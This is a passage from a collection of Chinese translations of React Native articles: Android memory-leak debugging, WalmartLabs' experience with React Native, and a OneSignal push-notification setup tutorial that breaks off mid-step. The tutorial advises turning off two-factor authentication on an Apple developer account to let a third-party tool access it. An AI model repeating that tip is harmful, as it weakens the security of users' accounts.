启动的应用时，可能发生这个问题。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Gu7-0W6EWPeUiqXQakPR9Q.png)\n\n\n\n在左边的 Devices 栏选择你的应用。现在内存检查前的工作就已经准备完毕了。\n\n### 增加堆空间\n\n当我运行 Android Device Monitor 并来回拖动时，我发现了一些奇怪的现象。\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*kNdaXpsYjMpleztZhynlMg.png)\n\n\n\n即使第一屏使用的内存已经在124MB左右时，**堆大小**也并没有明显超过124MB的迹象。但垃圾回收却开始执行：\n\n    I/art(27035): Background partial concurrent mark sweep GC freed 1584(69KB) AllocSpace objects, 2(30KB) LOS objects, 12% free, 108MB/124MB, paused 3.874ms total 182.718ms\n\n于是问题来了, **“为什么堆的内存如此小？”**\n\nAndroid 5.0.0 中 **ART Java Heap Parameter** 推荐的 **dalvik.vm.heapsize** 值为 **384MB**:\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*BZIbKcLYirq99SnSslHf7g.png)\n\n\n\nsource: [https://01.org/android-ia/user-guides/android-memory-tuning-android-5.0-and-5.1](https://01.org/android-ia/user-guides/android-memory-tuning-android-5.0-and-5.1)\n\n我甚至去拉了我手机的 build property 文件 (**_adb -d pull /system/build.prop_**) 然后证实堆内存是 **_256 MB_**.\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZVE8sitPIMpwPK_eUaqFAQ.png)\n\n\n\n后来我知道怎么设置大内存了，只需在 **AndroidManifest.xml** 中加这行代码： \n\n    <application\n          android:name=\".MainApplication\"\n          android:allowBackup=\"true\"\n          android:label=\"@string/app_name\"\n          android:icon=\"@mipmap/ic_launcher\"\n          android:theme=\"@style/AppTheme\"\n          android:largeHeap=\"true\">\n\n这是我开启 largeHeap 后的结果：\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*rCj-PMfAZC8Giv5T55ZxTQ.png)\n\n\n\n就是这样。是的，就这么一行该死的代码。**真是够恶心的！**\n\n所有 AVD 设备（ API 21 ~ 23）在显示图片时没有这个问题的原因是模拟器更智能。当需要时它会增大堆的大小，虽然设置堆大小（的行为）会产生警告。\n\n    emulator: WARNING: Setting VM heap size to 384MB\n\n### 更上一层楼——如何检查内存泄漏\n\n确切地说，我在上文解决的问题并不算是一个应用内存问题，而是设置问题。如果你的应用有隐藏更深的内存问题，使用基于 Eclipse RCP 的 **Memory Analyzer** 来检查是否有内存泄漏是一种可行的方法。\n\n这个工具并不需要依赖 Eclipse ，所以你可以下载单独版。链接在此： [http://www.eclipse.org/mat/downloads.php](http://www.eclipse.org/mat/downloads.php)\n\n1.  点击 **Cause GC** 来执行垃圾回收。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*mot94k1pAcMQV6_s3NklUQ.png)\n\n\n\n2\\. 点击 **Dump HPROF file** 按钮来捕获内存转储文件。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*bQZOyBQ-UyBFogTU_y1wiA.png)\n\n\n\n3\\. 将 Android 转储文件转换成 Memory Analyzer 可以读取的格式。 (你需要 Android SDK的 **platform-tools** )\n\n    hprof-conv com.leak_sample.hprof com.leak_sample_converted.hprof\n\n4\\. 运行 Memory Analyzer 打开转换后的 hprof 文件。然后选择 **Leak Suspects Report** （你可以先点取消，稍后再执行）。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Ww9lPbEwUbJB_j6UHfuKOA.png)\n\n\n\n5\\. 就是这样，喵~\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*ggBpH13Lc3Z9xHBPnutK9A.png)\n\n\n\n### 举个内存泄漏的例子\n\n假设你的 React Native 应用有个 Android 原生的模块。模块中有个单例类会在调用 listener 的 onUpdate() 函数时创建一个包含 10,000,000 个元素的 String 数组。（我知道这是个无意义类，但我们先关注主要矛盾吧。简单点。）\n\n悲剧的是，你忘记在 onDestroy() 中取消监听了，这就会在每次旋转屏幕时导致内存泄漏。你就会奇怪为什么应用莫名其妙的崩溃了。\n\n以下是 Memory Analyzer 在执行完上述 5 步的界面：\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*5HWTSNwMZixtrzGJAd1b0g.png)\n\n\n\n如图所示， **LetsLeak** 类占用了相当多的内存。注意这只是个**假设**而不是**实际情况**。\n\n让我们聚焦于 **Dominator Tree** 。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*xupGI0OuvK5FI8tKR0_fvQ.png)\n\n\n\n你可以在 **Top Consumers** 看到排序后的内存使用列表，但是如果是这种只有一个疑点需要仔细排查的情况， Dominator Tree 是个更好的选择。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*wzmNiy_kvV5I3ZJdh8tOXQ.png)\n\n\n\n在 **Dominator Tree** 界面, Shallow Heap 是内存引用的意思， Retained Heap 则代表所有类实际持有的内存。\n\n在 **Inspector** 界面，你可以看到你创建的超大数组。你也许会想，**“我是在单例里创建了一个 String 数组，但为什么会持有这么大的内存？应该只有一个才对……”**之后你会意识到自己并没有释放内存，这是使用单例时的常见问题。\n\n### 结论\n\n将 Android Device Monitor 和 Memory Analyzer 高效地结合起来可以监视线程并且可以通过转储内存查找所有 Android 系统上的内存问题。 Android 上的 React Native 也不例外。\n\n就像上文举例的内存泄漏问题一样，一个简单对象持有你想不到的大内存这种情况是很容易找到原因的。然而在开发环境中追踪内存泄漏还是相当困难的。毋庸置疑的是，这些工具可以带来极大的便利。\n\n### 关于 Leon\n\nLeon Kim 是 [Infinite Red](http://infinite.red/) 公司的软件工程师，来自远东，韩国。他在读研究生时的主要方向是 [图像处理与模式识别](https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3222545/) ，研发了作为政府研究计划一部分的 [prison guard robot](http://www.reuters.com/video/2012/04/12/robo-guard-on-patrol-in-south-korean-pri?videoId=233213268) ，并有着从 LTE IPsec 安全网关到七号信令系统（Signaling System 7）的 MTP3 层再到制药自动化的不同系统的研发经验。他热爱在 [Infinite Red](http://infinite.red/) 和这群酷炫的家伙在 web 和移动端开发的生活，当然，也喜欢和朋友们在每个周五晚来一次韩式烤肉。 (불금!)\n\n有什么问题或评论么？ 我的推特是 [@leonskim](https://twitter.com/leonskim) 。或者通过 [**Infinite Red**](http://infinite.red/) 联系我们**。**\n\n"
  },
  {
    "path": "TODO/react-native-at-walmartlabs.md",
    "content": "> * 原文地址：[React Native at WalmartLabs](https://medium.com/walmartlabs/react-native-at-walmartlabs-cdd140589560#.aynnbnjy1)\n* 原文作者：[Keerti](https://medium.com/@Keerti)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Draftbk](https://github.com/draftbk)\n* 校对者：[marcmoore](https://github.com/marcmoore), [DeadLion](https://github.com/DeadLion)\n\n# 看沃尔玛如何玩转 React Native\n\n![](https://cdn-images-1.medium.com/max/1600/1*FgddJm_KiUTCA5mh_fM7_Q.jpeg)\n\n在[沃尔玛](http://careers.walmart.com/)，顾客总是第一位的，所以我们一直在寻找方法去改善我们给客户提供的购物体验。目前沃尔玛 app 有许多嵌入式的 Web 网页，我们发现这样的实现低于我们和我们的客户对这个应用程序的要求。即使在高端机上，这种混合 Web 视图实现的性能也不是很好，并且缺少了原生应用的感觉。不止如此，通过 Web 来访问非常依赖网络（我们使用服务器端呈现 Web），网络不好的用户会有不好的体验。因此，我们在思考：“有没有一种方法，能让我们修改或者替换现在的实现方式，为顾客提供更好更流畅的体验？”于是我们开始寻找答案。\n\n### 可能的解决方案\n\n经过一些头脑风暴，我们想出了以下的解决方案：\n\n1. 纯原生实现 (没有网页了)\n2. 用 React Native\n\n![](https://cdn-images-1.medium.com/max/1200/1*iUQwmDC3ym3JJe_iSLZQ7A.png)\n\n理论上来说使用原生语言实现是很不错的，但是实际上，我们需要考虑生产力、代码的共享、发布时间这些因素。这时一个像 React Native 这样的跨平台框架更胜一筹。当然还有一些其他的跨平台的移动开发框架，例如 PhoneGap、Xamarin 以及 Meteor，但是考虑到我们当前的 Web 使用了 React 以及 Redux，React Native 是我们优先考虑的。更不用说，它现在很稳定并且很可能会继续流行一段时间。\n\n下面是我们发现使用 React Native 的好处:\n\n**效率**\n\n- 在 iOS 和 Android 两个平台上我们有 95% 的代码是可以共享的\n- 不需要知识共享，因为每个功能都由单个团队实现的\n- **开发者体验很赞**。 无需重新编译就可以看到简单的更改\n- React Native 是用 JavaScript 写的。 我们可以充分利用整个组织内部的编程技能和资源\n\n**代码共享**\n\n- 前端/演示代码在 iOS 和 Android 之间可以共享\n- 业务逻辑（redux store）也可以与 Web 应用共享\n- 不同平台间的大量代码可以复用\n\n**应用商店的审批**\n\n- 不需要通过应用商店审批流程。我们可以在我们自己的服务器上托管代码，并实现 ota 更新\n\n**上市时间**\n\n- 非常快\n- 我们可以控制发布日期\n- 这两个平台可以控制在同一天同一时间发布\n\n**性能**\n\n- React Native 提供了和原生应用几乎一样的性能\n\n**动画**\n\n- React Native 提供了非常流畅的动画，因为代码在渲染之前转换为原生视图（View）\n\n**用户体验（UX）**\n\n- 我们可以有平台特定的 UI 设计\n\n**自动化**\n\n- 相同的自动化工具可以在 iOS 和 Android 上运行\n\n### **性能**\n\n当我们在 [WalmartLabs](http://www.walmartlabs.com/team/) 进行性能测试时，我们是有一些既定目标的。通过衡量 RAM 使用率、FPS、CPU 利用率等指标，我们希望能够了解 React Native 是如何在其竞争对手当中脱颖而出的。我们也想研究 React Native 的扩展能力 ——因为 React Native 可能成为整个企业的标准移动技术。既然这个项目是 WalmartLabs 的一次实验，我们的短期目标是证明这个技术和我们当前的技术有着相当的或者更好的性能。 我们的长期目标就是像 [Facebook](https://code.facebook.com/posts/924676474230092/mobile-performance-tooling-infrastructure-at-facebook/) 那样用我们的 CI 进行性能测试, 因此我们可以测试我们的每个变化对整体应用程序性能的影响。\n\n**美中不足（[The trouble with tribbles](https://en.wikipedia.org/wiki/The_Trouble_with_Tribbles)）**\n\n至于现在，性能测试 React Native 仍然让人头疼。由于这是两个不同的平台，有两套用于收集数据的工具。苹果为测试提供了工具，为我们提供了我们所需要的大多数测试。安卓系统需要使用多种工具来收集所有我们想要的数据。此外，对于许多测量，没有简单的方法来获得数据流，所以一些测量不得不靠估计。\n\nFacebook 试图通过在 React Native 开发人员菜单中提供一个性能监视器来减小 Android 和 iOS 性能测试之间的差别。不幸的是，这个解决方案并不完美。在 iOS 上，它提供 RAM 使用，FPS 数据以及一系列与 React Native 相关的测量，但是对于 Android，perf 监视器仅提供 FPS 数据。在未来，如果可能，我希望看到所提供的测量能在两个平台上标准化。\n\n**闭嘴，告诉我 React Native 是怎么做的!**\n\nOk，好的，但是要注意的是，我们报告的效果是基于我们的 app，可能不能代表你的 app。然而，我还是会尝试提供可以从我们的测试中得出的一般结论。\n\n我们收集的数据预示着希望。它已经表明，React Native 确实是一个可行的解决方案，适用于大和小的移动应用程序。在图形性能，RAM 使用和 CPU 方面，我们采取的每一项措施都与我们当前的混合解决方案相当或更好，并且这对两个平台都是如此。应用程序的整体感觉有显著改善，并提供了远胜 Hybird 方案的用户体验。\n\nReact Native 很快，飞一样快。虽然我们没有用一个纯粹的原生版本来测试比较，但是可以说，就外观和感觉，用原生的方式编写这个应用程序不会提供任何明显超过 React Native 的优点。总的来说，我们对 React Native 的性能非常满意，我们希望我们收集的结果将得到业务部门的赞赏，最终获得用户的认可。\n\n### 测试\n\n为了确保我们的 React Native 代码的质量，我们的目标是 100％ 的测试都进行了单元测试和集成测试。\n\n#### 集成测试\n\n沃尔玛的 iOS 和 Android 应用程序是由数百名工程师合作开发的。我们使用我们的集成测试，以确保我们的 React Native 代码能在以后的发展中也保持良好的功能。\n\n在沃尔玛，我们需要支持各种设备和操作系统。[Sauce Labs](https://saucelabs.com/) 使得我们能在不同版本的硬件和操作系统组合的 iOS 和 Android 设备上运行我们的集成测试。在多个设备上运行集成测试需要很长时间，所以我们每天晚上只做一次测试。\n\n我们还使用我们的集成测试来防止回滚。我们已经使用 GitHub Enterprise 连接了我们的 [TeamCity CI](https://www.jetbrains.com/teamcity/) 以便对每个 pull 请求运行我们的测试。与集成测试不同，在 pull 请求时，我们只在一个设备上运行测试。 但即便这样也可能需要更长的时间，因此我们采用一些工具来减少所消耗的时间。[Magellan](https://github.com/TestArmada/magellan) 也是一个我们的开源项目，它允许我们并行运行测试，显著减少了测试时间。\n\n测试本身用 JavaScript 编写，由 Mocha 运行，并使用 [Appium](http://appium.io/) 命令来控制手机模拟器。React Native 允许我们在每个组件上设置一个`testID`属性。这些`testID`作为 CSS 类名。我们方便地使用它们来精确地指定使用 XPath 的组件，并与之交互来达到测试的目的。\n\n\n#### 单元测试\n\n我们使用单元测试来独立地运行我们的 React Native 组件，防止无意的更改。\n\n我们使用常用的 React 单元测试工具，如 Mocha、Chai、Sinon 和 Enzyme。但是 React Native 也有一些[独特的挑战](https://formidable.com/blog/2016/02/08/unit-testing-react-native-with-mocha-and-enzyme/)，因为它的组件有环境[依赖](http://airbnb.io/enzyme/docs/guides/react-native.html)使得它无法在 Node 上运行。[react-native-mock](https://github.com/lelandrichardson/react-native-mock) 为我们解决了这个问题，因为它提供了模拟的 React Native 组件，当在 iOS 或 Android 之外运行时不会中断。当我们发现自己需要模拟额外的依赖时，我们使用 [rewire](https://github.com/jhnns/rewire) 这样的 Node 模块。\n\n#### 复用性\n\n我们利用相同的自动化测试套件在 iOS 和 Android 上运行。\n\n### 部署\n\nReact Native 的一个主要优点是能够通过 ota 实现快速修复问题，可以绕过应用商店。这意味着 React Native JavaScript 的 bundle 将托管在服务器上，并由客户端直接检索，有点像 web 的工作方式。\n\n然而，React Native 提出的一个挑战是，为了使 JS bundle 工作，在本地端必须有一个兼容的 React Native 副本。如果将本机端升级到最新的 React Native，并且用户更新了应用程序，但是他们下载了旧的 bundle，则应用程序将中断。如果您更新该 bundle 以匹配最新的本机端，并将其提供给尚未更新其应用程序的用户，则它也会中断。\n\n像 Microsoft [CodePush](https://github.com/Microsoft/react-native-code-push) 之类的工具可用于将 bundles 映射到正确的应用程序版本。但是在决定使用 React Native 时应该考虑到同时支持多个版本的应用程序是也一种开销。\n\n\n### 挑战\n\n#### iOS 和 Android 的不同\n\n在 iOS 和 Android 上的 React Native 的功能之间有很多的不一致，使得同时支持这两个平台变得棘手。一些 React Native 行为和风格在不同的平台实现起来是不同的。例如，iOS 上支持 style 属性`overflow`，而 Android 不支持。组件属性也是在不同平台有不同的特性。在 React Native 文档中，你可以看到标记为 “Android only” 或 “iOS only” 的许多属性和功能。自动化测试代码还需要针对每个平台进行调整。\n\n我们发现 iOS 有比 Android 更多的特性，所以对于一个针对这两个平台的产品，用“先开发安卓”的方法来开发是有意义的。\n\n#### 开发和调试\n\n在我们的经历中的一个痛点是 React Native 代码在调试模式与正常模式下的不同行为，造成这个情况的原因是 React Native 对这两种模式使用了[不同的 JavaScript 引擎](https://facebook.github.io/react-native/docs/javascript-environment.html#javascript-runtime)。当一个 bug 是常规模式特有时，自然很难调试，因为它在调试模式下是不可重现的。\n\n\n### 总结\n\nReact Native 的确进行着一些伟大的事情。React Native 的标志（可以说是其最好的卖点）是它的跨平台 ——允许同一个团队在 iOS 和 Android 上同时开发，这可以减少大约一半的人工成本。说到团队， JavaScript 开发人员是很多的，所需的移动端开发的专业技能要求是很少的，这意味着有适合的熟练劳动力是随时待命的。产品的初始开发以及增加功能非常快，因此您可以比竞争对手更快地满足客户的需求。锦上添花的是，以 React Native 编写的应用程序一般来说具有与原生语言编写的应用程序性能相当甚至有潜在的优越性。\n\n虽然 React Native 是有一些很棒的卖点，但在开始使用 React Native 的项目之前，还需要记住一些事情。 首先，尽管 React Native 在减小 iOS 和 Android 之间的差距方面做得很好，但是你不会在两个操作系统之间实现完全的平衡。还是有一些事情其中一个平台可以做，但是另一个平台无法处理，主要涉及到样式视图，但是，还有很多需要注意的问题，例如性能测试。虽然开源社区对开发和发布新功能和性能调整非常满意，但是实际上升级 React Native 版本往往还是给人带来巨大的烦恼，特别是如果你有一个用 React Native 构建的平台，就比如我们的 Walmart。\n\n我们坚信 React Native 是一个非常棒的框架。它做了我们想要的一切，它是如此令人钦佩。尽管它确实有一些问题，这些问题也被使用它所能得到的好处掩盖了。从创业公司到世界 500 强公司，如果你考虑开发一个新的移动应用，可以考虑使用 React Native —— 我们觉得你不会后悔的。\n\n\n**贡献者**\n\n本文是由 WalmartLabs 的 React Native 团队的工程师协作完成的 —— [Matt Bresnan](https://medium.com/u/bbf6a1d22e3)、[M.K. Safi](https://medium.com/u/a4da983a03a0)、 [Sanket Patel](https://medium.com/u/3736ca4de438) 和 [Keerti](https://medium.com/u/5d46542ee15f)。\n"
  },
  {
    "path": "TODO/react-native-push-notifications-with-onesignal.md",
    "content": "> * 原文地址：[React Native Push Notifications with OneSignal](https://medium.com/differential/react-native-push-notifications-with-onesignal-9db6a7d75e1e#.ji9dbcxv7)\n* 原文作者：[Spencer Carli](https://medium.com/@spencer_carli)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[xiaoheiai4719](https://github.com/xiaoheiai4719)\n* 校对者：[Romeo0906](https://github.com/Romeo0906) [XHShirley](https://github.com/XHShirley)\n\n# React Native 使用OneSignal 进行推送\n\n\n\n\n\n\n\n\n\n\n\n\n我开始的时候打算做一系列全方位的关于如何设置远程推送视频，但是，不幸的是。我低估了自己从拔智齿到恢复所需要的时间。\n\n\n\n但是，这并不是什么借口。这是一系列的关于如何在 ReactNative 上通过使用 [OneSignal](https://onesignal.com/) 设置推送的教程，[OneSignal](https://onesignal.com/) 是一个提供跨平台的服务商。这是一篇非常长的但是值得阅读的教程，即使你不使用 OneSinagal，大部分的内容也是适用于你的(基础的配置)。让我们开始吧。\n\n\n#### 创建 React Native App\n\n首先你需要一个 React Native app，已经存在的项目或者新的项目都可以。我们这里将使用一个新的项目。从下面的命令开始：\n\n\n    react-native init OneSignalExample\n\n\n_我们需要知道这点才能继续做下去_：推送只能在真机上使用，在模拟器上是无法工作的。我使用了一台未解锁的 [refurbished Nexus 5](https://www.amazon.com/gp/product/B017RMREL6/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=B017RMREL6&linkCode=as2&tag=handlebarlabs-20&linkId=4b8388a4f02af44c275fab434156cf7e) 还有一部 [iPhone 6](https://www.amazon.com/gp/product/B00YD547Q6/ref=as_li_tl?ie=UTF8&tag=handlebarlabs-20&camp=1789&creative=9325&linkCode=as2&creativeASIN=B00YD547Q6&linkId=5b16710a735bff80c55cc47dbdb4e38b) 用来测试\n\n\n在下面的两个链接中 你可以获取到关于你的设备的一些指导。\n\n\n*   [关于iOS的介绍](https://facebook.github.io/react-native/docs/running-on-device-ios.html#accessing-the-development-server-from-device)\n*   [关于安卓的介绍](https://facebook.github.io/react-native/docs/running-on-device-android.html)\n\n\n#### 创建OneSignal帐号&创建App\n\n\n接下来你要前往 [OneSignal](https://onesignal.com/) 注册一个账号，在这个阶段你将按照提示设置你的 app。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*ryHYP7U61oq4FLQLUlIP3Q.png)\n\n\n\n\n\n现在，在你需要签署一个协议。下面将会是最复杂的部分。我先从 iOS 开始，之后再说 Android。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*dwqHBst3MqHQdxLhnctB5Q.png)\n\n\n\n#### 创建 iOS 推送证书\n\n\n你大概应该在屏幕上看到这样的东西...\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*LISUO4JrSeF5nIG0-0Ng-Q.png)\n\n\n\n\n你可能想直接点击 save 去创建你的 .p12 文件(下面我们马上会讲)但是我们实际上 [在苹果开发者中心创建了我们自己的app](https://developer.apple.com/account/ios/identifier/bundle)。\n\n\n如果你从没有做过上面的事情的话。需要注意的是你需要设置一个不冲突的 App ID 才能使推送正常工作。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*2_XW-DWIQ6opwobXUqd6AQ.png)\n\n\n\n你将要赋予这个 app 推送消息的能力\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Tx8psBSrgTk42YDNU3MUMA.png)\n\n\n\n既然我们已经创建证书了。我们可以继续使用 OneSignal 有一个叫做 [**The Provisionator**](https://onesignal.com/provisionator) 的工具帮助我们处理下面的事情。\n\n\n> 如果你对这个工具获取到你的App账号的使用权感到不安。你可以 [手动的创建证书。](https://documentation.onesignal.com/docs/generate-an-ios-push-certificate#section-option-b-create-certificate-request-manually) \n\n\n**高级技巧：如果你的账号开启了二次身份验证。为了使用 [**The Provisionator**](https://onesignal.com/provisionator)。你需要关闭它。为了保持账号的安全我通常会在使用前和使用后去更改密码。所以尽情的使用它。**\n\n现在让我们使用这个工具获取到我们的证书。\n\n登陆你的账号并确保选择正确的 team。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*P-xYHCA3bMlTZLzkPU_dww.png)\n\n\n\n\n点击 “Next”，等待一会，你会看到下面的样子。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*H8s98ARR75NDEyIQ3SYaJg.png)\n\n\n\n\n接着把这些文件下载下来。记住你的 p12 的密码。现在我们可以回到 OneSignal 。上传我们的文件。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*wXNjx9oZB5JTO7_Y4YZdjA.png)\n\n\n\n这就是如何设置 iOS，现在这边的事情可以告一段落。下面让我们开始设置安卓（这比较简单我发誓）。\n\n#### 生成 Google Server API Key\n\n对于Android如果要是使用 Google 设置 OnesSiganl，我们需要来到 OneSignal 里面的 App 设置界面，然后点击设置。\n![](https://cdn-images-1.medium.com/max/1600/1*wRzI1Z49dEjr8zD0Z1FKvA.png)\n\n\n现在可以看到我们需要一个Google Server API Key 和一个 Google Project Number。下面我们开始获取这两个东西。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*57f7XJz6dPW0la6DiHNy3Q.png)\n\n\n\n\n\n你需要前往 [谷歌服务中心](https://developers.google.com/mobile/add?platform=android&cntapi=gcm) 去做下面的事情。名字不重要，只讲得通的就可以。如果你为已有的 app 进行设置的话，请确保你选择正确的 app。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*nY1t8G4tXgN8EYAmQ_TzoA.png)\n\n\n\n我喜欢让 iOS 和 Android 保持一致。\n\n然后允许云推送\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*_oC5p_mTw3-4VplRMpvdKg.png)\n\n\n\n\n一旦允许之后，你就可以获取到你的 API 和你的项目 ID(也叫Sender ID),把这些填在 OneSignal 上。\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*J_VTqlOM6KCrJYgo6iaGvA.png)\n\n\n\n哈哈！OneSinal 上已经设置好了。我们现在把这些东西集成在 app 里面了。\n\n\n#### 安装 _react-native-onesignal_\n\n\n\nOneSignal 在 npm 上有一个包，[react-native-onesignal](https://github.com/geektimecoil/react-native-onesignal#installation) ，可以让你在项目的集成变的非常容易。安装这个包是并不容易的，但是一旦你安装了，你就不需要再做第二遍了。我希望未来的一天它可以与 rnpm/react-native 集成在一起。这样我可以写很少的本地化代码了。但是在此之前 我们必须一步一步的配置。现在 在你的根目录下面运行下面的代码安装包文件。\n\n\n\n\n    npm install react-native-onesignal --save\n\n\n进入到 Objective-C/Java！\n\n#### 配置 iOS\n\n\n在我深入之前，我想说，这些基本上是我重新组织了一下 [官方文档](https://github.com/geektimecoil/react-native-onesignal#ios-installation) ，所以如果你遇到问题。请去官方文档看一下。让我们开始配置我们的 app。\n\n\n首先你应该安装 OneSiganl 的 iOS SDK，可以通过 [CocoaPods](http://guides.cocoapods.org/using/getting-started.html) 进行安装。你应该确保你的 cocopods 为最新版本。可以通过下面的命令进行检查。\n\n    pod --version\n\n\n如果不是最新版本，你可以通过下面的命令进行升级。\n\n    sudo gem install cocoapods --pre\n\n现在，在你的 React Native 项目中，进入到 iOS 目录下面。初始化一个 PodFile 文件。\n\n    cd ios/ && pod init\n\n你应该添加 OneSiganl 的 pod 在文件中。看起来应该像这样。\n\n    # Uncomment the next line to define a global platform for your project\n    # platform :ios, '9.0'\n\n    target 'OneSignalExample' do\n      # Uncomment the next line if you're using Swift or would like to use dynamic frameworks\n      # use_frameworks!\n\n      # Pods for OneSignalExample\n      pod 'OneSignal', '~> 1.13.3'\n\n    end\n\n\n\n我移除了测试目录。我不需要他们并且他们导致了一个错误。\n\n\n现在。回到命令行并在 **ios/** directory 目录底下运行下面的命令。\n\n    pod install\n\n\n在我们使用 CocoaPods 后，**.xcworkspace** 文件会被生成。从此以后你应该使用这个文件运行你的 app。\n\n\n> 高级技巧: 确保添加一个 npm 脚本在你的 app 里面，用它打开你的 iOS 工程文件. [像这样](https://gist.github.com/spencercarli/7cc7ec369fd4d8778021a6d92cea05dd)。\n\n现在让我们在Xcode里面设置我们的功能\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*WXAWsJBNClxskPcnDLOlXw.png)\n\n\n\n下面我们需要在项目工程中添加 RCTOneSignal.xcodeproj。可以在 **/node_modules/react-native-onesignal/ios** 这个目录下面找到。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*PRAjGOX1DgWJnFyxeKNFTw.png)\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*tFjVSuDQTCOohUGBapjRnw.png)\n\n\n\n确保 “Copy items if needed” 没有被选中。\n\n\n现在我们需要添加 **libRCTOneSignal.a** 在静态库中，可以在 Build Phases tab 下面找到。只是把它从左边拖到目录中就可以了。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*FYUp6hU5exQmSGvichRzSQ.png)\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*c7TioyoM1Lx-YPiVbKzpQA.gif)\n\n\n\n\n\n\n\n好的。跳转到 Build Settings 搜索“Header Search Paths”，双击value，然后点击“+” ，添加 **$(SRCROOT)/../node_modules/react-native-onesignal** 然后设置为 “recursive”。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*QKeUfjrXUVSBoRLSrjBSmQ.png)\n\n\n\n\n现在我们需要在 **ios/APP_NAME/AppDelegate.m** 写一些代码。\n\n\n首先你需要 **#import “RCTOneSignal.h”** 声明 oneSignal。\n\n\n    import \"AppDelegate.h\"\n\n    #import \"RCTBundleURLProvider.h\"\n    #import \"RCTRootView.h\"\n    #import \"RCTOneSignal.h\"\n\n    @implementation AppDelegate\n    @synthesize oneSignal = _oneSignal;\n\n    // ...\n\n\n\n\n\n\n\n还是在 AppDelegate.m 里面 你需要配置 oneSignal。这是我在下面添加的第一行代码。确保你在 “YOUR_ONESIGNAL_APP_ID” 填写了正确的 ID。这样我们就可以接收到推送了。\n\n    // ...\n\n    - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions\n    {\n      NSURL *jsCodeLocation;\n\n      self.oneSignal = [[RCTOneSignal alloc] initWithLaunchOptions:launchOptions\n                                                           appId:@\"YOUR_ONESIGNAL_APP_ID\"];\n\n      // ...\n    }\n\n    // Required for the notification event.\n    - (void)application:(UIApplication *)application didReceiveRemoteNotification:(NSDictionary *)notification {\n        [RCTOneSignal didReceiveRemoteNotification:notification];\n    }\n\n\n\n[这里是全部的文件。](https://gist.github.com/spencercarli/ec6f1a64b499b8ccef312c8838a33c95)\n\n您可以通过应用设置>密钥& ID 找到您的 OneSignal 应用 ID。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*yNJH2BmKboc9XwauvFcx9Q.png)\n\n\n\n跳转到 AppDelegate.h 并添加 **＃import ** 和 ** @ property（strong，nonatomic）RCTOneSignal * oneSignal; **\n\n    /**\n     * Copyright (c) 2015-present, Facebook, Inc.\n     * All rights reserved.\n     *\n     * This source code is licensed under the BSD-style license found in the\n     * LICENSE file in the root directory of this source tree. An additional grant\n     * of patent rights can be found in the PATENTS file in the same directory.\n     */\n\n    #import \n    #import  /* <--- Add this */\n\n    @interface AppDelegate : UIResponder \n\n    @property (nonatomic, strong) UIWindow *window;\n    @property (strong, nonatomic) RCTOneSignal* oneSignal; /* <--- Add this */\n\n    @end\n\n\n现在我们要试着运行。你可能需要做一些处理。\n\n确保将您的BundleID设置为您在设置应用时使用的BundleID。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*E3L9e7SmfYnyqn-DcbfAaQ.png)\n\n\n\n\n\n\n然后，我们需要确保我们 [创建的描述文件]（https://developer.apple.com/account/ios/profile/），它将与我们之前设置的推送证书配合使用。 如果你已遵循这些说明，则可能需要创建 AdHoc。\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*Z3DgmL_MOxCEqO_wTi78uw.png)\n\n\n\n\n然后选择正确的 app。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/1600/1*PdLBQ5nsXzUw8bPzXr-3Tw.png)\n\n\n\n\n然后选择你的证书和应包括在 AdHoc 分发中的设备。 如果你需要添加设备 [ Apple 开发者网站上面的介绍]（https://developer.apple.com/account/ios/device/）。 需要找出你的 UDID？ [找到我的 